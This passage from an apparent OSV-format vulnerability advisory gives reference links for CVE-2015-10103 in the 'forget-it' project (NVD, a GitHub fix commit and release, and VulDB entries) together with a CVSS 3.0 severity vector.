      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-10103"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternalError503/forget-it/commit/adf0c7fd59b9c935b4fd675c556265620124999c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternalError503/forget-it/releases/tag/1.4"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.226119"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.226119"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}